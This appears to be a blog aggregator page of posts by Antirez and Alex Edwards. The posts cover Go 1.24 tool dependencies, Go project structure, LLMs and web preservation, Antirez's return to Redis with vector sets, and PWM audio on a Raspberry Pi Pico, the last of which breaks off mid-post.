  By multiple accounts, the web is losing pieces: every year a fraction of old web pages disappear, lost forever. We should regard the Internet Archive as one of the most valuable pieces of modern history; instead, many companies and entities make the chances of the Archive to survive, and accumulate what otherwise will be lost, harder and harder. I understand that the Archive headquarters are located in what used to be a church: well, there is no better way to think of it than as a sacred place. Imagine the long hours spent by old programmers hacking with the Z80 assembly on their Spectrums. All the discussions about the first generation of the Internet. The subcultures that appeared during the 90s. All things that are getting lost, piece by piece. And what about the personal blogs? Pieces of life of single individuals that dumped part of their consciousness on the Internet. Scientific papers and processes that are lost forever as publishers fail, their websites shut down. Early digital art, video games, climate data once published on the Internet and now lost, and many sources of news, as well. This is a known issue and I believe that the obvious approach of trying to preserve everything is going to fail, for practical reasons: a lot of efforts for zero economic gains: the current version of the world is not exactly the best place to make efforts that cost a lot of money and don't pay money. This is why I believe that the LLMs' ability to compress information, even if imprecise, hallucinated, lacking, is better than nothing. DeepSeek V3 is already an available, public lossy compressed view of the Internet, as other very large state of-art models are. This will not bring back all the things we are losing, and we should try hard supporting The Internet Archive and other similar institutions and efforts. But, at the same time, we should focus on a much simpler effort: to make sure that the weights of LLMs publicly released do not get lost, and also to make sure that the Archive is part of the pre-training set as well. Comments

• How to manage tool dependencies in Go 1.24+
  Alex Edwards · Feb 20, 2025

  One of my favourite features of Go 1.24 is the new functionality for managing developer tooling dependencies. By this, I mean tooling that you use to assist with development, testing, build, or deployment – such as staticcheck for static code analysis, govulncheck for vulnerability scanning, or air for live-reloading applications. Historically, managing these dependencies — especially in a team setting — has been tricky. The previous solutions have been to use a tools.go file or the go run pattern, but while these approaches work, they’ve always felt like workarounds with some downsides. With Go 1.24, there’s finally a better way. Adding tools to your module Using tools Listing tools Verifying tools Vendoring tools Upgrading and downgrading tools Removing tools Using a separate modfile for tools A quick example To demonstrate the new functionality, let's scaffold a simple module and add some application code. $ go mod init example.com go: creating new go.mod: module example.com $ touch main.go File: main.go package main import ( "fmt" "github.com/kr/text" ) func main() { wrapped := text.Wrap("This is an informational message that should be wrapped.", 30) fmt.Println(wrapped) } Now fetch the github.com/kr/text package and run the code. The output should look like this: $ go get github.com/kr/text go: downloading github.com/kr/text v0.2.0 go: added github.com/kr/text v0.2.0 $ go run . This is an informational message that should be wrapped. Adding tools to your module Go 1.24 introduces the -tool flag for go get, which you can use like this: go get -tool import_path@version This command will download the package specified by the import path (along with any child dependencies), store them in your module cache, and record them in your go.mod file. The @version part is optional – if you omit it, the latest version will be downloaded. Let's use this to add the latest versions of stringer and govulncheck to our module as developer tools, along with staticcheck version 0.5.1. $ go get -tool golang.org/x/tools/cmd/stringer go: downloading golang.org/x/tools v0.30.0 go: downloading golang.org/x/sync v0.11.0 go: downloading golang.org/x/mod v0.23.0 go: added golang.org/x/mod v0.23.0 go: added golang.org/x/sync v0.11.0 go: added golang.org/x/tools v0.30.0 $ go get -tool golang.org/x/vuln/cmd/govulncheck go: downloading golang.org/x/vuln v1.1.4 go: downloading golang.org/x/telemetry v0.0.0-20240522233618-39ace7a40ae7 go: downloading golang.org/x/sys v0.30.0 go: upgraded golang.org/x/telemetry v0.0.0-20240521205824-bda55230c457 => v0.0.0-20240522233618-39ace7a40ae7 go: added golang.org/x/vuln v1.1.4 $ go get -tool honnef.co/go/tools/cmd/staticcheck@v0.5.1 go: downloading honnef.co/go/tools v0.5.1 go: downloading golang.org/x/exp/typeparams v0.0.0-20231108232855-2478ac86f678 go: downloading github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c go: downloading golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa go: added github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c go: added golang.org/x/exp/typeparams v0.0.0-20231108232855-2478ac86f678 go: added honnef.co/go/tools v0.5.1 After running these, your go.mod file will now include a tool (...) section listing the tools you've added. The corresponding module paths and versions for all the dependencies will appear in the require (...) section and be marked as indirect: File: go.mod module example.com go 1.24.0 require ( github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c // indirect github.com/kr/text v0.2.0 // indirect golang.org/x/exp/typeparams v0.0.0-20231108232855-2478ac86f678 // indirect golang.org/x/mod v0.23.0 // indirect golang.org/x/sync v0.11.0 // indirect golang.org/x/sys v0.30.0 // indirect golang.org/x/telemetry v0.0.0-20240522233618-39ace7a40ae7 // indirect golang.org/x/tools v0.30.0 // indirect golang.org/x/vuln v1.1.4 // indirect honnef.co/go/tools v0.5.1 // indirect ) tool ( golang.org/x/tools/cmd/stringer golang.org/x/vuln/cmd/govulncheck honnef.co/go/tools/cmd/staticcheck ) Using tools Once added, you can run tools using the go tool command. From the command line To run a specific tool from the command line within your module, you can use go tool followed by the last non-major-version segment of the import path for the tool (which is, normally, just the name for the tool). For example: $ go tool staticcheck -version staticcheck 2024.1.1 (0.5.1) $ go tool govulncheck No vulnerabilities found. In a makefile The go tool command also works nicely if you want to execute tools from your scripts or Makefiles. To illustrate, let's create a Makefile with an audit task that runs staticcheck and govulncheck on the codebase. $ touch Makefile .PHONY: audit audit: go vet ./... go tool staticcheck ./... go tool govulncheck If you run make audit, you should see that all the checks complete successfully. $ make audit go vet ./... go tool staticcheck ./... go tool govulncheck No vulnerabilities found. With go:generate Let's also take a look at an example where we use the stringer tool in conjunction with go:generate to generate String() methods for some iota constants. File: main.go package main import ( "fmt" "github.com/kr/text" ) //go:generate go tool stringer -type=Level type Level int const ( Info Level = iota Error Fatal ) func main() { wrapped := text.Wrap("This is an informational message that should be wrapped.", 30) fmt.Printf("%s: %s\n", Info, wrapped) } The important thing here is the //go:generate line. When you run go generate on this file, it will in turn use go tool to execute the version of the stringer tool listed in your go.mod file. Let's try it out: $ go generate . $ ls go.mod go.sum level_string.go main.go Makefile You should see that a new level_string.go file is created, and running the application should result in some output that looks like this: $ go run . Info: This is an informational message that should be wrapped. Listing tools You can check which tools have been added to a module by running go list tool, like so: $ go list tool honnef.co/go/tools/cmd/staticcheck golang.org/x/tools/cmd/stringer golang.org/x/vuln/cmd/govulncheck Verifying tools Because the tools are included in your go.mod file as dependencies, if you want to check that the code for the tools stored in your module cache has not changed you can simply run go mod verify: $ go mod verify all modules verified This will check that the code in your module cache exactly matches the corresponding checksums in your go.sum file. Vendoring tools If you run go mod vendor, the code for tooling dependencies will be included in the vendor folder and the vendor/modules.txt manifest alongside your non-tool dependencies. $ go mod vendor $ tree -L 3 . ├── go.mod ├── go.sum ├── main.go ├── Makefile └── vendor ├── github.com │ ├── BurntSushi │ └── kr ├── golang.org │ └── x ├── honnef.co │ └── go └── modules.txt When tools are vendored in this way, running go tool will execute the corresponding code in the vendor directory. Note that go mod verify does not work on vendored code. Upgrading and downgrading tools To upgrade or downgrade a specific tool to a specific version, you can use the same go get -tool import_path@version command that you did for adding the tool originally. For example: $ go get -tool honnef.co/go/tools/cmd/staticcheck@v0.5.0 To upgrade to the latest version of a specific tool, omit the @version suffix. $ go get -tool honnef.co/go/tools/cmd/staticcheck You can also upgrade all tools to their latest version by running go get tool. Note: tool is a sub-command here, not a flag. $ go get tool If your tool dependencies are vendored, you will need to re-run go mod vendor after any upgrades or downgrades. At the time of writing, I'm not aware of any easy way to specifically list the tools that have upgrades available – if you know of one please let me know! Removing tools To remove the tool completely from your module, use go get -tool with the special version tag @none. $ go get -tool honnef.co/go/tools/cmd/staticcheck@none Again, if you're vendoring, make sure to run go mod vendor after removing a tool. Using a separate modfile for tools A Reddit commenter mentioned the potential for problems if your tools share dependencies with your application code. For example, let's say that your application code depends on golang.org/x/sync version v0.11.0, and is tested and known to work with that version. Then if you add a tool that relies on a newer version of golang.org/x/sync, the version number in your go.mod file will be bumped to the newer version and your application code will use that newer version too. In theory, this shouldn't be a problem so long as all your dependencies and their child dependencies are stable, follow strict semantic versioning, and don't make backwards-incompatible changes without a major version increment. But, of course, the real world is messy and backwards-incompatible changes might happen, which could unexpectedly break your application code. It's worth noting that this issue isn't limited to tool dependencies – the same thing can happen if your application code and a non-tool dependency both rely on the same package. However, including tools in go.mod increases the risk. To reduce this risk, you can use a separate modfile for tool dependencies instead of including them in your main go.mod. You can do this with the -modfile flag, specifying an alternative file such as go.tool.mod, like so: # Initialize a go.tool.mod modfile $ go mod init -modfile=go.tool.mod example.com # Add a tool to the module $ go get -tool -modfile=go.tool.mod golang.org/x/vuln/cmd/govulncheck # Run the tool from the command line $ go tool -modfile=go.tool.mod govulncheck # List all tools added to the module $ go list -modfile=go.tool.mod tool # Verify the integrity of the tool dependencies $ go mod verify -modfile=go.tool.mod # Upgrade or downgrade a tool to a specific version $ go get -tool -modfile=go.tool.mod golang.org/x/vuln/cmd/govulncheck@v1.1.2 # Upgrade all tools to their latest version $ go get -modfile=go.tool.mod tool # Remove a tool from the module $ go get -tool -modfile=go.tool.mod golang.org/x/vuln/cmd/govulncheck@none

• Reasoning models are just LLMs
  Antirez · Feb 09, 2025

  It’s not new, but it’s accelerating. People that used to say that LLMs were a fundamentally flawed way to reach any useful reasoning and, in general, to develop any useful tool with some degree of generality, are starting to shuffle the deck, in the hope to look less wrong. They say: “the progresses we are seeing are due to the fact that models like OpenAI o1 or DeepSeek R1 are not just LLMs”. This is false, and it is important to show their mystification as soon as possible. First, DeepSeek R1 (don’t want to talk about o1 / o3, since it’s a private thing we don’t have access to, but it’s very likely the same) is a pure decoder only autoregressive model. It’s the same next token prediction that was so strongly criticized. There isn’t, in any place of the model, any explicit symbolic reasoning or representation. Moreover, R1 Zero has similar reasoning capabilities of R1 without requiring *any* supervised fine tuning, just generating chain of thoughts, and improving it with a reward function, using reinforcement learning, was enough to learn a stronger form of reasoning. Interestingly enough, part of these capabilities were easily distilled into smaller models via SFT, which brings me to the next point. The other fundamental observation is that the S1 paper shows that you need very few examples (as little as 1000) in order for the model to start being able to build complex reasoning steps and solve non trivial mathematical problems. S1, and R1 Zero, hint that in some way in the pre-training step the models already learned the representations needed in order to perform reasoning, just with the unsupervised next word prediction training target. So it’s not just that R1 is a vanilla LLM in its fundamental structure, but also the unsupervised pre-training creates enough representations and potential that, powerful enough LLMs, with RL (and/or some minor SFT), learn to reply to complex questions the users pose (I'm referring to instruct models, an old but yet impressive capability) and to use chain of thoughts to reason about things and provide better answers. Reasoning models are just LLMs, and who said LLMs were a dead end was just wrong. Now, to be wrong happens (even if the version of being wrong, in this instance, was particularly aggressive, particularly in denial of evidences). However, trying to change the history and the terminology in order to be in the right side is, for me, unacceptable. Comments

• We are destroying software
  Antirez · Feb 08, 2025

  We are destroying software by no longer taking complexity into account when adding features or optimizing some dimension. We are destroying software with complex build systems. We are destroying software with an absurd chain of dependencies, making everything bloated and fragile. We are destroying software telling new programmers: “Don’t reinvent the wheel!”. But, reinventing the wheel is how you learn how things work, and is the first step to make new, different wheels. We are destroying software by no longer caring about backward APIs compatibility. We are destroying software pushing for rewrites of things that work. We are destroying software by jumping on every new language, paradigm, and framework. We are destroying software by always underestimating how hard it is to work with existing complex libraries VS creating our stuff. We are destroying software by always thinking that the de-facto standard for XYZ is better than what we can do, tailored specifically for our use case. We are destroying software claiming that code comments are useless. We are destroying software mistaking it for a purely engineering discipline. We are destroying software by making systems that no longer scale down: simple things should be simple to accomplish, in any system. We are destroying software trying to produce code as fast as possible, not as well designed as possible. We are destroying software, and what will be left will no longer give us the joy of hacking. Comments

• Eleven tips for structuring your Go projects
  Alex Edwards · Jan 22, 2025

  When working with Go, you have three main building blocks to help organize your code: files, packages and modules. But as Go developers, one of the common challenges we have is knowing how to best combine these building blocks to structure a codebase. In this post, I'll share a mix of mindset tips and practical advice that I hope will help, especially if you're new to the language. Different projects, different structures Aim for effective, not perfect Forget conventions from other languages or frameworks Don't use directories just to organize files Use one of the standard layouts as a skeleton … And then let it evolve If you're unsure, begin with two files Keep related things close Big files aren't necessarily bad Create packages judiciously Look out for warning signs 1. Different projects, different structures I'd like to start by emphasizing that there's no single "right" way to structure a Go codebase. If you're using a specific framework or tool to scaffold your project, then you might be given a fixed directory structure to work with. But outside of that, there are relatively few conventions widely-adopted by the Go community, and the answer to "how should I structure my codebase?" is almost always "it depends". It depends on what you're building, your business needs, your testing approach, your team, your dependencies or tooling, and any internal conventions you choose to follow. Take a look at GitHub, and you'll find thousands of examples of successful Go projects — with quite different structures. For example, mkcert and Kubernetes are both excellent Go projects, but they differ significantly in scale and purpose. And these differences mean that their repository structures also look quite different. A structure that works well for your current project might not be the same as the structures that you've used before or seen elsewhere — and that's perfectly fine. 2. Aim for effective, not perfect If you're a perfectionist, this might be easier said than done, but try not to stress too much about making your codebase structure perfect. If you find yourself obsessing over the "perfect" way to organize your code, try to let go of that. Instead, aim for a structure that works effectively enough for your specific project. By "effective enough," I mean that your code is easy to find and navigate, the logic is straightforward to follow, changes can be made with confidence, and you're not running into the kind of warning signs I'll cover later in this post. 3. Forget conventions from other languages or frameworks Don't feel guilty if your codebase structure doesn't follow the conventions or best practices you're used to from other languages or frameworks. If it works effectively for your Go project, that's what matters. For example, if you're an experienced Ruby on Rails or Django developer building your first Go web application, you might be tempted to recreate the familiar directory structure from those frameworks. But while you probably could make it work if you tried, it's unlikely to be the most effective or simple solution for your Go project. 4. Don't use directories just to organize files This is a subtle but important point, especially if you're new to Go. You shouldn't create new directories just to organize your .go files. In Go, creating a directory creates a new package, and placing a file in that directory makes it part of that package. Create a directory only when you have a specific reason to create a new package – not because you want a neater/cleaner/clearer directory structure for your files. 5. Use one of the standard layouts as a skeleton The official Go documentation has a great article describing some standard project layouts. I use one of these layouts as the high level "skeleton structure" in pretty much every Go project I work on nowadays, and recommend that you do too. Small projects For small projects, consider using the basic layout where you just put everything in the project's root directory, like this: ├── main.go ├── foo.go ├── bar.go ├── go.mod └── README.md A couple of real-life examples of projects that use this layout are mkcert and flow. Small projects with supporting packages For projects where you need to break out some code out into supporting packages, use the supporting packages layout. In this pattern, the supporting packages live within an internal directory in the project root, and your main package files and other project assets continue to live in the root directory. ├── internal │ └── foo │ └── foo.go ├── main.go ├── bar.go ├── go.mod └── README.md Note: The directory name internal carries a special meaning and behavior in Go: any package which lives under this directory can only be imported by code inside the parent of the internal directory. So if you put your supporting packages in an internal directory, like above, they cannot be imported by code outside of your project – even if the project code is publicly available somewhere like GitHub. That's often useful, because it means you can confidently refactor the code within the internal folder without inadvertently breaking something for other people. Larger projects For larger projects I generally recommend using the server project layout, especially if: Your project will have a lot non .go assets (like template files, SQL migrations, tool configurations and Makefiles); or Your project will contain more than one main package (e.g. main packages for a web application and a CLI tool) In this layout: Your executable main package files live in sub-directories under a cmd directory The rest of your Go packages live in an internal directory All other project assets remain in the root of the project directory Like so: ├── cmd │ └── foo │ ├── main.go │ └── bar.go ├── internal │ └── baz │ └── baz.go ├── go.mod ├── Makefile └── README.md For a more complete example, here's the directory structure from a recent project I worked on – including main packages for a web server and CLI application, along with various non-Go assets. 6. … And then let it evolve Use one of the standard project layouts as your high-level 'skeleton', but beyond that, I recommend letting the rest of the structure within that skeleton evolve naturally as development progresses. In other words, don't decide your directory structure or what .go files you will have upfront, and then shoehorn in your Go code into that. Instead, let the code you're writing guide the files and packages that you create. 7. If you're unsure, begin with two files If you're in any doubt, start with the basic layout and just a go.mod and main.go file in the root of your project directory. Then, as your project evolves, add additional files and packages as needed. Starting this way is perfectly OK. Personally, about half of the new projects I work on begin with just these two files — and nothing more. 8. Keep related things close This one feels pretty obvious – especially if you're an experienced developer – but it's still worth saying. As a general rule, keep related things close to each other – in the same .go file or in the same package. Here are a few examples: Constants, variables, custom types and utility functions (which are not reused by multiple packages) should be declared close to the code they support, in the same .go file or package. It may make sense to group utility functions that are related to each other and used in multiple places into a single reusable package. If you have a custom struct type, define any methods for it directly below the struct declaration in the same .go file. In a web application or API, define all routing rules together in a single function or .go file. There will probably be times when it makes sense for you to break the 'keep related things close' rule in your code, and that's OK, but it's a good principle to default to. 9. Big files aren't necessarily bad So long as it doesn't cause you practical problems during development or maintenance, file size in Go doesn't matter. It's OK to have .go files that contain a couple of lines, or thousands. Neither of these things is automatically considered an anti-pattern in Go. To give you an idea of some big files, the runtime/proc.go file from the Go standard library contains 6,548 lines of code. And /pkg/apis/core/validation/validation.go from the Kubernetes repository contains 8,606 lines of code (it's corresponding _test.go file also has over 26,000 lines). I'm not saying that your .go files should be big. More that if – on balance – it makes sense to have a big file… then it makes sense. Don't feel guilty about it, and don't feel like you need to break it into smaller files unless there's a good reason to. 10. Create packages judiciously In a similar vein, big packages aren't necessarily bad. In fact, I'd say that one of the more common mistakes in Go is splitting up your code into too many small packages. The problem with having lots of small packages is that it can add complexity to your application, especially when you need to share state, configuration, or dependencies across package boundaries. It also increases the likelihood of encountering import cycle problems. As a rule of thumb, only create additional packages when you have a demonstrable need or good reason to. For example: You have some code that you want to reuse. Putting the code in a standalone package facilitates this because you can then import the package and use it in different files throughout your project, or even copy-and-paste the package directory straight into another codebase. You want to isolate or enforce a boundary between the package code and the rest of your project. For example, you might use packages as an architectural tool to create lightweight decoupled 'layers' in your project code, or to isolate part of the codebase so it's easier for another person or team to work on separately. You have some code that acts as a 'black box' and moving it to a standalone package will reduce cognitive overhead and make your codebase clearer overall. 11. Look out for warning signs It can be hard to know exactly when your project structure is working effectively… instead it's probably easier to spot the signs that it isn't working effectively in practice. Some things to look out for are: You keep running into import cycle problems. It's hard to find things in the codebase, especially after time away or for new contributors. Relatively small changes often impact multiple packages or .go files. The flow of control is overly "jumpy" and hard to follow when debugging. There's a lot of duplication that's difficult to refactor out (note: some duplication is not always bad.) You're finding it difficult to manage errors appropriately. You feel like your are 'fighting the language', or you resort to using language features in a way that is not intended or idiomatic. It feels like a single file or package is doing too much and that there isn't a clear separation of responsibilities within it, and this is having a negative effect on the clarity of your code. If you spot these warning signs, it might be worth taking a step back and considering if tweaking the structure your codebase and packages will help to fix the problem.

• From where I left
  Antirez · Dec 10, 2024

  I’m not the kind of person that develops a strong attachment to their own work. When I decided to leave Redis, about 1620 days ago (~ 4.44 years), I never looked at the source code, commit messages, or anything related to Redis again. From time to time, when I needed Redis, I just downloaded it and compiled it. I just typed “make” and I was very happy to see that, after many years, building Redis was still so simple. My detachment was not the result of me hating my past work. While in the long run my creative work was less and less important and the “handling the project” activities became more and more substantial — a shift that many programmers are able to do, but that’s not my bread and butter — well, I still enjoyed doing Redis stuff when I left. However, I don’t share the vision that most people at my age (I’m 47 now) have: that they are still young. I wanted to do new stuff, especially writing. I wanted to stay more with my family and help my relatives. I definitely needed a break. However, during the “writing years” (I’m still writing, by the way), I often returned to coding, as a way to take breaks from intense writing sessions (writing is the only mental activity I found to be a great deal more taxing than coding): I did a few embedded projects; played more with neural networks; built Telegram bots: a bit of everything. Hacking randomly was cool but, in the long run, my feeling was that I was lacking a real purpose, and every day I started to feel a bigger urgency to be part of the tech world again. At the same time, I saw the Redis community fragmenting, something that was a bit concerning to me, even as an outsider. So I started to think that maybe, after all, I could have a role back in the Redis ecosystem. Perhaps I could be able to reshape the company's attitude towards the community. Maybe I could even help to take back the role of the Redis core as the primary focus of new developments. Basically I could be some kind of “evangelist” (I don’t love the name of this role, but… well, you get it), that is, on one side, a bridge between the company and the community, but also somebody that could produce programming demos, invent and describe new patterns, write documentation, videos and blog posts about new and old stuff. And, what about the design of new stuff? I could learn from the work of people in the wild, from their difficulties, distill it, and report back design ideas, in order for Redis to evolve. # Time in NY At some point my daughter, who is now 12, and is a crucial person in my life, enlightening my days with her intelligence, creativity and love, wanted to visit NYC for her birthday. We decided that yes, this was a good idea after all, we had a couple very difficult years recently, so, why not? My daughter is now more of a girl than a child. So, in NYC, I thought: maybe this is the right time, I can do a part time job. I met the new Redis CEO, Rowan Trollope, very recently, in a video call. I had the feeling that I could work with him to tune the future of the company’s relationships with the community and the codebase direction. So I wrote him an email saying: do you think I could be back in some kind of capacity? Rowan showed interest in my proposal, and quickly we found some agreement. # About the license switch People will ask questions about why I *actually* did this, whether there is some back story other than what I just wrote above, if there is some agreement involved, or a big amount of money; something odd or unclear. But sometimes things are very boring: 1. I contacted the company, not the reverse. 2. I’m not getting crazy money to re-enter, it’s not about exploiting some situation — normal salary (but, disclaimer: yes, I have Redis stock options like I had before, no less, no more). 3. I don’t have huge issues with Redis changing its license; Specifically I don’t think the fracture with the community is *really* about this. But since people will ask me about that very important matter, it is better to tell you all the truth immediately. # The licensing dilemma I wrote open source software for almost my whole life. Yet, as I’m an atheist and still I’m happy when I see other people believing in God, if this helps them to survive life’s hardships, I also don’t believe that open source is the only way to write software. When I started to develop Redis in the context of a company where I was one of the two founders and where we kept the software code closed (Redis was opened as it was considered not part of the core product). We didn't want our services to be copied by others, as simple as that. So I’m not an extremist in this regard – I’m an extremist only about software design. Moreover, I don’t believe that openness and licensing are only what the OSI tells us they are. I see licensing as a spectrum of things you can and can’t do. At the same time, I’m truly concerned that big cloud providers have changed the incentives in the system software arena. Redis was not the only project to change license, it was actually the last one… of a big pile. And I have the feeling that in recent years many projects didn’t even start because of a lack of a clear potential business model. So, the Redis license switch was not my decision and perhaps I would have chosen a different license? I’m not sure, it’s too easy to relitigate right now, far from the scene for many years and without business pressures. But in general, I can understand the choice. Moreover, if you read the new Redis license, sure, it’s not BSD, but basically as long as you don’t sell Redis as a service, you can use it in very similar ways and with similar freedoms as before (what I mean is that you can still modify Redis, redistribute it, use Redis commercially, in your for-profit company, for free, and so forth). You can *even* still sell Redis as a service if you want, as long as you release all the orchestration systems under the same license (something that nobody would likely do, but this shows the copyleft approach of the license). The license language is almost the same as the AGPL, with changes regarding the SAAS stuff. So, not OSI approved? Yes, but I have issues calling the SSPL a closed license. You will say (I can hear you): the real problem is that there are companies controlling OSS projects’ direction! So eventually the interests get more aligned with companies and less with the user base. I’m grateful there are many projects out there with zero direct companies involvement (if not external sponsorship), but well, you know what? Involvement of companies, in many large projects, actually slows down this process of skewing the right path. This surely happened in the case of Redis. # The Robin Hood of software Let's jump back into the past, to the first days of Redis. When Redis started to become popular, I wanted to find a way to continue working on it. This was before VMware offered me to sponsor my work. I started to play with the idea of a business model, and guess what? It was in the form of closed source products that would kinda help people running Redis, in some way or the other. (Amazingly, one of the repositories associated with this idea is still online, showing commits of *15* years ago: https://github.com/antirez/redis-tools) I was about to try some kind of open core approach; I also remember I was thinking about delaying the BSD license for new code for six months, in order to create some kind of advantage for paying users. Now I don’t believe I would be a jerk and do strange games with my users, but I would not be what I was able to be thanks to VMware and, later, more extensively thanks to Redis Labs later: a freaking Robin Hood of open source software, where I was well compensated by a company and no, not to do the interests of the company itself, but only to make the best interests of the Redis community. This is a better setup than having your own company, I’m sure about that. VMWare, and later Redis Labs, didn’t pay just for me. If you give a quick look at the repository contributions history, you’ll see the second all time contributor to be Oran Agra (Redis) then there is Pieter Noordhuis (VMWare) and so forth. So basically I think that 12 years of BSD code written just focusing on the user base is a good deal, and it’s something to be happy about. And right now for me the most important part is that the fracture with the community is not about licensing, or at least it’s not mainly about licensing. Actually the new license can solve some part of it: now there is no longer an incentive to just leave the core in maintenance mode and put the new developments into modules. With the new license, cloud providers can’t just cut and paste the Redis code base and sell it without any revenue sharing (was this really asking for too much? This could have prevented all the license switches you saw lately, not just Redis). With the new license, the spotlight can be back on the Redis core, with new, exciting features in the hands of the developers around the world. With tens of people well compensated for their work pushing useful, well documented changes in the GitHub repository. This is also one of the things I would like to help the company with, and I’ll try hard. We need to make the license switch having good effects on the user base and features: that’s my idea. # About AI, LLMs and vector indexing But there is more: Redis is getting interested in developing vector capabilities, and in general to support the kind of programming you can do with AI. Now, every day, I read Hacker News, and I see a huge amount of technical people who dislike AI and the new developments. I also see a lot of people who don't even care to really try the latest models available in depth (hint: Claude AI is in its own league) and still dismiss them as kinda useless. For me, it’s different. I always loved neural networks. I wrote my first NN library in 2003 and was totally shocked by how powerful and cool the whole concept was. And now, at the end of 2024, I’m finally seeing incredible results in the field, things that looked like sci-fi a few years ago are now possible: Claude AI is my reasoning / editor / coding partner lately. I’m able to accomplish a lot more than I was able to do in the past. I often do *more work* because of AI, but I do better work. Recently I wrote a sci-fi short story for an Italian publisher, and thanks to Claude criticizing parts of it I rewrote the ending and produced a much better work (I didn’t let Claude write a single line of the story or the plot: great use of AI is not making machines do what you can do better). Yesterday I needed to evaluate how much faster dot product could be computed with 8 bit quantization of my vectors; I told Claude I needed a benchmark designed in a specific way, and two minutes later I could test it, modify it, and understand whether it was worthwhile or not. Basically, AI didn’t replace me, AI accelerated me or improved me with feedback about my work. And I believe that (regardless of the popularity of RAG, which is not necessarily the main application, nor the most future proof or useful, as models contexts are becoming larger and larger, and soon popular models attention may have linear complexity), sorry for the digression, I was saying that I believe that learned embeddings are here to stay, and vector search is something that belongs to Redis for several reasons: first because vector indexes are data structures, particularly slow data structures, and such data structures can work very well in memory. Also, because I think I found the perfect API to expose them. During my work in designing Redis, I always showed some contradictory tendencies. I was always ready to say “no” to certain things that looked like perfect fits for the project (named Lua scripts, hash fields expires, that are both part of Redis now, btw) but at the same time I added Lua scripting capabilities — when it looked like nuts, an interpreter inside Redis?! —, the Pub/Sub capability, that seemed out of context, then streams, and even synthetic data structures that don’t exist in computer science books, like sorted sets. Because, for me, the fitness of new features into Redis was about two things: use cases and internal design fit. Redis, for me, is lego for programmers, not a “product”. # Vector sets So recently I started to think that sorted sets can inspire a new data type, where the score is actually a vector. And while I was in talks with Rowan, I started to write a design document, then I started to implement a proof of concept of the new data structure, reimplementing HNSWs from scratch (instead of using one of the available libraries, since I wanted to tune every little bit), the Redis way, and well, I’m not sure how this will end, I’m still in the early stages of coding, but perhaps I may end up contributing code again, if this proposal gets accepted. The module I implemented (that would be later merged into the core – for now it’s a module just for the sake of simplicity) implements new commands that manipulate embeddings directly. I’ll show you just that as a hint: VSIM top_1000_movies_imdb ELE "The Matrix" WITHSCORES 1) "The Matrix" 2) "0.9999999403953552" 3) "Ex Machina" 4) "0.8680362105369568" 5) "Akira" 6) "0.8635441958904266" 7) "District 9" 8) "0.8631418347358704" 9) "The Martian" 10) "0.8608670234680176" 11) "The Bourne Ultimatum" 12) "0.8599717319011688" 13) "The Bourne Supremacy" 14) "0.8591427505016327" 15) "Blade Runner" 16) "0.8585404753684998" 17) "Metropolis" 18) "0.8572960793972015" 19) "Inception" 20) "0.8521313071250916" So you have VSIM, VADD, VCARD, all the obvious stuff. It’s exactly the idea of sorted sets, but with multi-dimensional scores (embeddings!) and K-NN matches. What do you think? And, of course, on top of that there are many implementation tricks to make stuff more efficient. But for now it’s proof of concept code, let me work a bit more on it. I’m implementing threading, dimensionality reduction, quantization, and many more things. Quite fun, to be honest. As you can see, there is no mention of hybrid search, the recent buzzword about vector stores. Again, this is the Redis way: to let the developer have a role and decide on their tradeoffs: they know what they are modeling, after all. You have a vector index per key, and like what programmers were able to do with sorted sets, they will invent interesting splitting strategies, new schemas, Lua scripts, patterns and all that is required in order to model their use cases. Still, while normally the associated item will likely be a small string or a document ID, nothing prevents it from being something more complex, with metadata that can be filtered later (but I’ll resist). I just have the feeling that many use cases don’t really need complex server-side filtering, and can be modeled by pre-partitioning data. What I see with great interest is the addition of a potential STORE option, to store the result into a sorted set instead of returning it to the user, where the score is the similarity, of course. All this also has complex and interesting effects on efficiency, scalability, ability to use scripting, and so forth: I hope I’ll have the opportunity to talk more about it in the next weeks and months. Ok, ok: back to the point of this blog post. But perhaps the above is the *real* point, having new ideas that can be exciting. # So, I’m back 🙂 All this to say that, I’m back. I think it’s the right moment for a big thank you to all the Redis community, for what it has done over the years. See you around, I hope there is something more to add to this journey. P.S. I’m active on BlueSky, if you want to follow the developments of all this. https://bsky.app/profile/antirez.bsky.social Comments

• Playing audio files in a Pi Pico without a DAC
  Antirez · Mar 06, 2024

  The Raspberry Pico is suddenly becoming my preferred chip for embedded development. It is well made, durable hardware, with a ton of features that appear designed with smartness and passion (the state machines driving the GPIOs are a killer feature!). Its main weakness, the lack of connectivity, is now resolved by the W variant. The data sheet is excellent and documents every aspect of the chip. Moreover, it is well supported by MicroPython (which I’m using a lot), and the C SDK environment is decent, even if full of useless complexities like today fashion demands: a cmake build system that in turn generates a Makefile, files to define this and that (used libraries, debug outputs, …), and in general a huge overkill for the goal of compiling tiny programs for tiny devices. No, it’s worse than that: all this complexity to generate programs for a FIXED hardware with a fixed set of features (if not for the W / non-W variant). Enough with the rant about how much today software sucks, but it must be remembered. One of the cool things one wants to do with an MCU like that, is generating some sound. The most obvious way to do this is using the built-in PWM feature of the chip. The GPIOs can be configured to just alterante between zero and one at the desired frequency, like that: from machine import Pin, PWM pwm = PWM(Pin(1)) pwm.freq(400) pwm.duty_u16(1000) Assuming you connected a piezo to GND and pin 1 of your Pico, you will hear a square wave sound at 400hz of frequency. Now, there are little sounds as terrible to hear as square waves. Maybe we can do better. I’ll skip all the intermediate steps here, like producing a sin wave, and directly jump to playing a wav file. Once you see how to do that, you can easily generate your own other waves (sin, noise, envelops for such waveforms and so forth). Now you are likely asking yourself: how can I generate the complex wave forms to play a wav file, if the Pico can only switch the pin high or low? A proper non square waveform is composed of different levels, so I would need a DAC! Fortunately we can do all this without a DAC at all, just a single pin of our Pico. ### How complex sound generation works I don’t want to cover too much background here. But all you need to know is that, if you don’t want to generate a trivial square wave, that just alternates between a minimum and maximum level of output, you will need to have intermediate steps, like that: S0: # S1: #### S2: ###### S3: ####### S4: ######## And so forth, where S0 is the first sample, S1, the second sample, … Each sample duration depends on the sampling frequency, that is how many times every second we change (when playing) or sample (when recording) the audio wave. This means that to play a complex sound, we need the ability of our Pico pin to output different voltages. There is a trick to do this with the Pico just using PWM, that is to use a square wave with a very high frequency, but with a different duty cycle for the different voltages we want to generate. So we set a very very high frequency output: pwm.freq(100000) Then, if we want to produce the S0 sample, we set the duty cycle (whose value is between 0 and 65535) to a small value. If we want to produce the S1 sample, we use a higher value, and so forth. In sequence we may want to do something like that: 